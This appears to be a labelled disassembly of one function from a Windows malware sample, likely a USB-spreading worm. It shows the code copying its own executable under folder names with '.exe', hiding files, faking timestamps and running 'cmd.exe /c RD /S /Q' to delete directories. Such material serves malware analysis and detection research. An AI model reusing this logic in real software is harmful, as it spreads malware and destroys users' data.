Function at 0x401000
Capabilities:
Copy file
Create process on windows
Delete file
Enumerate files on windows
Set file attributes

Disassembly:
mov eax, 0x1328
call fcn.00403b50
push ebp
push esi
push edi
xor esi, esi
mov ecx, 0x81
xor eax, eax
lea edi, [esp + 0xede]
mov word [esp + 0xedc], si
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ecx, 0x81
xor eax, eax
lea edi, [esp + 0xad6]
mov word [esp + 0xad4], si
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ecx, 0x81
xor eax, eax
lea edi, [esp + 0x6c6]
mov word [esp + 0x6c4], si
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ecx, 0x81
xor eax, eax
lea edi, [esp + 0x4be]
mov word [esp + 0x4bc], si
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ecx, 0x81
xor eax, eax
lea edi, [esp + 0x8ce]
mov word [esp + 0x8cc], si
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ecx, 0x7f
xor eax, eax
lea edi, [esp + 0xcde]
mov word [esp + 0xcdc], si
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x14]
mov dword [esp + 0x10], esi
rep stosd dword es:[edi], eax
mov ecx, 0x81
lea edi, [esp + 0x2b6]
mov word [esp + 0x2b4], si
mov ebp, dword [esp + 0x1338]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ecx, 0x82
xor eax, eax
lea edi, [esp + 0x2b4]
push ebp
rep stosd dword es:[edi], eax
lea eax, [esp + 0x2b8]
push eax
call fcn.00403b29
lea ecx, [esp + 0x2bc]
push 0x416120
push ecx
call fcn.00403aff
add esp, 0x10
lea edx, [esp + 0xedc]
mov ecx, 0x82
xor eax, eax
lea edi, [esp + 0x2b4]
push 0x208
push edx
push esi
rep stosd dword es:[edi], eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea eax, [esp + 0x2b4]
push esi
lea ecx, [esp + 0xee0]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileW]
lea edx, [esp + 0x2b4]
push 2
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
adc eax, sym.imp.KERNEL32.dll_SetFileAttributesW
lea eax, [esp + 0xad4]
push ebp
push eax
call fcn.00403b29
lea ecx, [esp + 0xadc]
push 0x41611c
push ecx
call fcn.00403aff
add esp, 0x10
lea edx, [esp + 0x64]
lea eax, [esp + 0xad4]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x4011a4
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x1328
ret
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_FindClose]
test byte [esp + 0x68], 0x10
je 0x401405
lea ecx, [esp + 0x94]
push 0x416118
push ecx
call fcn.00403aca
add esp, 8
test eax, eax
je 0x401405
lea edx, [esp + 0x94]
push 0x416110
push edx
call fcn.00403aca
add esp, 8
test eax, eax
je 0x401405
lea eax, [esp + 0x94]
push str.Usb_2.0_Driver
push eax
call fcn.00403aca
add esp, 8
test eax, eax
je 0x401405
mov ecx, 0x82
xor eax, eax
lea edi, [esp + 0x6c8]
push ebp
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x6cc]
push ecx
call fcn.00403b29
lea edx, [esp + 0x9c]
lea eax, [esp + 0x6d0]
push edx
push eax
call fcn.00403aff
mov ecx, 0x82
xor eax, eax
lea edi, [esp + 0x4d0]
push ebp
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x4d4]
push ecx
call fcn.00403b29
lea edx, [esp + 0xac]
lea eax, [esp + 0x4d8]
push edx
push eax
call fcn.00403aff
lea ecx, [esp + 0x4e0]
push str..exe
push ecx
call fcn.00403aff
mov ecx, 0x82
xor eax, eax
lea edi, [esp + 0x8f8]
lea edx, [esp + 0xbc]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x8f8]
push edx
push eax
call fcn.00403b29
lea ecx, [esp + 0x900]
push str..exe
push ecx
call fcn.00403aff
mov al, byte [esp + 0xa0]
add esp, 0x38
test al, 2
je 0x40139c
lea edx, [esp + 0x10e8]
lea eax, [esp + 0x4c0]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
lea ecx, [esp + 0x8d0]
lea edx, [esp + 0x1114]
push ecx
push edx
mov ebp, eax
call fcn.00403aca
add esp, 8
test eax, eax
jne 0x401311
push ebp
call ebx
mov ebp, dword [esp + 0x133c]
jmp 0x401405
mov ecx, 0x80
xor eax, eax
lea edi, [esp + 0xce0]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x6c8]
lea ecx, [esp + 0xce0]
push eax
push str.cmd.exe__c_RD__S__Q___s_
push ecx
call fcn.00403a5b
mov ecx, 0x11
xor eax, eax
lea edi, [esp + 0x20]
add esp, 0xc
rep stosd dword es:[edi], eax
lea edx, [esp + 0x58]
lea eax, [esp + 0x14]
push edx
push eax
push esi
push esi
push 0x8000020
push 1
push esi
lea ecx, [esp + 0xcfc]
push esi
push ecx
push esi
mov dword [esp + 0x3c], 0x44
mov dword [esp + 0x40], esi
mov dword [esp + 0x70], esi
mov dword [esp + 0x44], esi
mov dword [esp + 0x68], 1
mov word [esp + 0x6c], si
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
push ebp
call ebx
mov ebp, dword [esp + 0x133c]
jmp 0x401405
lea edx, [esp + 0x6c8]
push 7
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea eax, [esp + 0x4c0]
push esi
lea ecx, [esp + 0xee4]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileW]
push esi
push 0x80
push 3
push esi
push 3
lea edx, [esp + 0x4d4]
push 0xc0000000
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x4013fe
lea eax, [esp + 0x7c]
lea ecx, [esp + 0x74]
push eax
lea edx, [esp + 0x70]
push ecx
push edx
push edi
call dword [sym.imp.KERNEL32.dll_SetFileTime]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [esp + 0x10]
lea eax, [esp + 0x68]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x4011ab
push edi
call ebx
lea ecx, [esp + 0x2b8]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
pop ebx
pop edi
pop esi
mov eax, 1
pop ebp
add esp, 0x1328
ret